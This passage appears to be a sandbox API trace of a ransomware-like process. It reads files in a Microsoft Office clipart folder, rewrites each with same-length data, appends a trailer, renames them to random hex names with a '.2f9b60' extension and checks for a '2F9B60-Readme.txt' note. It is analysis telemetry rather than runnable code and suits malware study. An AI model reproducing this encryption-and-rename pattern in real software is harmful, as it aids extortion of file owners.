[0126.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3e0 [0126.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a7b0 [0126.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0126.016] NtQuerySystemTime (in: CurrentTime=0x23c7f900 | out: CurrentTime=0x23c7f900*=132462177313282000) returned 0x0 [0126.016] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x121c848 [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x2cae78 [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x7d5dbc66 [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x72b89ae3 [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x7e149201 [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x877af7a [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x728dc223 [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x6dd23c7c [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x1fedf139 [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x483b7180 [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x6fc9733c [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x75107563 [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x275f779e [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x638a351 [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0xde3eb10 [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x2169d82d [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x381696e [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x15a7aeb5 [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x7d6cc9d [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x1e637a4e [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x10048411 [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x31ceae18 [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x2bfba8c9 [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x633fa1e7 [0126.017] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x368985ac [0126.018] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x2a81a2cf [0126.018] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0xd79b35f [0126.018] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x57c80fe2 [0126.018] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x1c88ed53 [0126.018] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x4d251a1f [0126.018] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x91af5ec [0126.018] RtlRandomEx (in: Seed=0x23c7f8f0 | out: Seed=0x23c7f8f0) returned 0x7f7e808b [0126.027] ReadFile (in: hFile=0x1020, lpBuffer=0x41d31d40, nNumberOfBytesToRead=0x246a, lpNumberOfBytesRead=0x23c7f8f0, lpOverlapped=0x0 | out: lpBuffer=0x41d31d40*, lpNumberOfBytesRead=0x23c7f8f0*=0x246a, lpOverlapped=0x0) returned 1 [0126.051] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.051] WriteFile (in: hFile=0x1020, lpBuffer=0x41d1f0f0*, nNumberOfBytesToWrite=0x246a, lpNumberOfBytesWritten=0x23c7f8f4, lpOverlapped=0x0 | out: lpBuffer=0x41d1f0f0*, lpNumberOfBytesWritten=0x23c7f8f4*=0x246a, lpOverlapped=0x0) returned 1 [0126.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3e0 [0126.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0126.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b290) returned 1 [0126.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d1f0f0) returned 1 [0126.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d31d40) returned 1 [0126.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504110) returned 1 [0126.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0126.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85b290 [0126.058] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0126.058] WriteFile (in: hFile=0x1020, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23c7fa10, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x23c7fa10*=0x10a, lpOverlapped=0x0) returned 1 [0126.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0126.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504110 [0126.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0126.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859670) returned 1 [0126.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0126.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0126.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85afc0 [0126.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85afc0) returned 1 [0126.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504110) returned 1 [0126.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0126.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0126.061] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="c2") returned 2 [0126.061] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="9c") returned 2 [0126.061] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="28") returned 2 [0126.061] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="1c") returned 2 [0126.061] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="d6") returned 2 [0126.061] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="31") returned 2 [0126.061] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="11") returned 2 [0126.061] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="c4") returned 2 [0126.061] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="a5") returned 2 [0126.061] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="09") returned 2 [0126.061] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="09") returned 2 [0126.061] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="c4") returned 2 [0126.061] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="30") returned 2 [0126.061] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="94") returned 2 [0126.061] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="98") returned 2 [0126.061] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="0e") returned 2 [0126.061] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="c4") returned 2 [0126.061] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="2c") returned 2 [0126.061] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="f1") returned 2 [0126.061] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="af") returned 2 [0126.061] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="1d") returned 2 [0126.061] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="17") returned 2 [0126.061] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="48") returned 2 [0126.061] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="86") returned 2 [0126.062] RtlInitAnsiString (in: DestinationString=0x23c7fa88, SourceString="c29c281cd63111c4a50909c43094980ec42cf1af1d174886" | out: DestinationString="c29c281cd63111c4a50909c43094980ec42cf1af1d174886") [0126.062] RtlAnsiStringToUnicodeString (in: DestinationString=0x23c7fa58, SourceString="c29c281cd63111c4a50909c43094980ec42cf1af1d174886", AllocateDestinationString=1 | out: DestinationString="c29c281cd63111c4a50909c43094980ec42cf1af1d174886") returned 0x0 [0126.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8647d0 [0126.062] wcscat (in: _Dest=0x4205cdd0, _Source="c29c281cd631" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c29c281cd631") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c29c281cd631" [0126.062] wcscat (in: _Dest=0x4205cdd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c29c281cd631.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c29c281cd631.2f9b60" [0126.062] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c29c281cd631.2f9b60", NtPathName=0x23c7fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c29c281cd631.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0126.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0126.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0126.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0126.064] NtQueryInformationFile (in: FileHandle=0x1020, IoStatusBlock=0x23c7fa98, FileInformation=0x23c7faa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23c7fa98, FileInformation=0x23c7faa8) returned 0x0 [0126.064] NtSetInformationFile (FileHandle=0x1020, IoStatusBlock=0x23c7fa98, FileInformation=0x23c7faa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0126.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cdd0) returned 1 [0126.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8647d0) returned 1 [0126.066] FlushFileBuffers (hFile=0x1020) returned 1 [0126.067] CloseHandle (hObject=0x1020) returned 1 [0126.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cdd0 [0126.068] wcscpy (in: _Dest=0x4205cdd0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0126.068] wcscat (in: _Dest=0x4205cdd0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0126.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0126.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cdd0) returned 1 [0126.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d380) returned 1 Thread: id = 1645 os_tid = 0x1b38 [0126.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cc933e45010c.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cc933e45010c.2f9b60")) returned 0x20 [0126.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cc933e45010c.2f9b60", dwFileAttributes=0x20) returned 1 [0126.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cc933e45010c.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cc933e45010c.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1020 [0126.073] GetFileSizeEx (in: hFile=0x1020, lpFileSize=0x23daf980 | out: lpFileSize=0x23daf980*=7934) returned 1 [0126.073] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x1efa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.073] ReadFile (in: hFile=0x1020, lpBuffer=0x23daf900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23daf948, lpOverlapped=0x0 | out: lpBuffer=0x23daf900*, lpNumberOfBytesRead=0x23daf948*=0x4, lpOverlapped=0x0) returned 1 [0126.074] FlushFileBuffers (hFile=0x1020) returned 1 [0126.090] CloseHandle (hObject=0x1020) returned 1 [0126.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cc933e45010c.2f9b60", dwFileAttributes=0x20) returned 1 [0126.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cd30) returned 1 Thread: id = 1646 os_tid = 0x1b3c [0126.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cec6b8cbd9a1.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cec6b8cbd9a1.2f9b60")) returned 0x20 [0126.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cec6b8cbd9a1.2f9b60", dwFileAttributes=0x20) returned 1 [0126.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cec6b8cbd9a1.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cec6b8cbd9a1.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1020 [0126.154] GetFileSizeEx (in: hFile=0x1020, lpFileSize=0x23d0fa60 | out: lpFileSize=0x23d0fa60*=7806) returned 1 [0126.154] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x1e7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.154] ReadFile (in: hFile=0x1020, lpBuffer=0x23d0f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23d0fa28, lpOverlapped=0x0 | out: lpBuffer=0x23d0f9e0*, lpNumberOfBytesRead=0x23d0fa28*=0x4, lpOverlapped=0x0) returned 1 [0126.154] FlushFileBuffers (hFile=0x1020) returned 1 [0126.160] CloseHandle (hObject=0x1020) returned 1 [0126.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cec6b8cbd9a1.2f9b60", dwFileAttributes=0x20) returned 1 [0126.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cc90) returned 1 Thread: id = 1647 os_tid = 0x1b40 [0126.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 0x20 [0126.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF", dwFileAttributes=0x20) returned 1 [0126.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1020 [0126.173] GetFileSizeEx (in: hFile=0x1020, lpFileSize=0x23edfe20 | out: lpFileSize=0x23edfe20*=3564) returned 1 [0126.173] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0xde8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.173] ReadFile (in: hFile=0x1020, lpBuffer=0x23edfda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23edfde8, lpOverlapped=0x0 | out: lpBuffer=0x23edfda0*, lpNumberOfBytesRead=0x23edfde8*=0x4, lpOverlapped=0x0) returned 1 [0126.181] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85acc0 [0126.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0126.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a420 [0126.181] NtQuerySystemTime (in: CurrentTime=0x23edfce0 | out: CurrentTime=0x23edfce0*=132462177314530000) returned 0x0 [0126.181] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0xac49819 [0126.181] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x7a35b706 [0126.181] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x6ecae030 [0126.181] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x1f8747c4 [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x70a1281f [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x9503ab2 [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x656ba0a3 [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x245a9fae [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x2b21c90 [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x268ecc95 [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x3bb6d3de [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x54a74206 [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0xdc14bca [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x4c121263 [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x6b5efa81 [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x5290f650 [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x12563d9 [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x2e49273e [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x1e4968cd [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x655783db [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x1364298b [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x65d1bdde [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x29681a8d [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x26bab4c3 [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x7e5f4fe9 [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x72e373a3 [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0xa8d586c [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x539fbaa1 [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x6f34d323 [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x40e69607 [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x22f513fb [0126.182] RtlRandomEx (in: Seed=0x23edfcd0 | out: Seed=0x23edfcd0) returned 0x2a5499a4 [0126.198] ReadFile (in: hFile=0x1020, lpBuffer=0x41d31d40, nNumberOfBytesToRead=0xdec, lpNumberOfBytesRead=0x23edfcd0, lpOverlapped=0x0 | out: lpBuffer=0x41d31d40*, lpNumberOfBytesRead=0x23edfcd0*=0xdec, lpOverlapped=0x0) returned 1 [0126.198] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.198] WriteFile (in: hFile=0x1020, lpBuffer=0x41d1f0f0*, nNumberOfBytesToWrite=0xdec, lpNumberOfBytesWritten=0x23edfcd4, lpOverlapped=0x0 | out: lpBuffer=0x41d1f0f0*, lpNumberOfBytesWritten=0x23edfcd4*=0xdec, lpOverlapped=0x0) returned 1 [0126.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85acc0 [0126.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a7b0 [0126.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a7b0) returned 1 [0126.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d1f0f0) returned 1 [0126.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d31d40) returned 1 [0126.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504110) returned 1 [0126.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0126.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85a7b0 [0126.211] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0126.211] WriteFile (in: hFile=0x1020, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x23edfdf0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x23edfdf0*=0x106, lpOverlapped=0x0) returned 1 [0126.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0126.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504110 [0126.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0126.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859670) returned 1 [0126.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0126.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0126.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85afc0 [0126.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85afc0) returned 1 [0126.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504110) returned 1 [0126.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0126.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cda0570 [0126.214] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="0f") returned 2 [0126.214] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="72") returned 2 [0126.214] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="34") returned 2 [0126.214] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="b5") returned 2 [0126.214] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="d9") returned 2 [0126.214] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="e0") returned 2 [0126.214] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="6b") returned 2 [0126.214] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="9c") returned 2 [0126.214] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="1b") returned 2 [0126.214] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="bf") returned 2 [0126.214] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="45") returned 2 [0126.214] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="e6") returned 2 [0126.214] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="de") returned 2 [0126.214] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="b2") returned 2 [0126.214] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="62") returned 2 [0126.214] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="d5") returned 2 [0126.214] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="8d") returned 2 [0126.214] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="39") returned 2 [0126.214] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="a5") returned 2 [0126.215] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="34") returned 2 [0126.215] RtlInitAnsiString (in: DestinationString=0x23edfe68, SourceString="0f7234b5d9e06b9c1bbf45e6deb262d58d39a534" | out: DestinationString="0f7234b5d9e06b9c1bbf45e6deb262d58d39a534") [0126.215] RtlAnsiStringToUnicodeString (in: DestinationString=0x23edfe38, SourceString="0f7234b5d9e06b9c1bbf45e6deb262d58d39a534", AllocateDestinationString=1 | out: DestinationString="0f7234b5d9e06b9c1bbf45e6deb262d58d39a534") returned 0x0 [0126.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c2b0 [0126.215] wcscat (in: _Dest=0x4205cc90, _Source="0f7234b5d9" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7234b5d9") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7234b5d9" [0126.215] wcscat (in: _Dest=0x4205cc90, _Source=".2f9b60" | out: 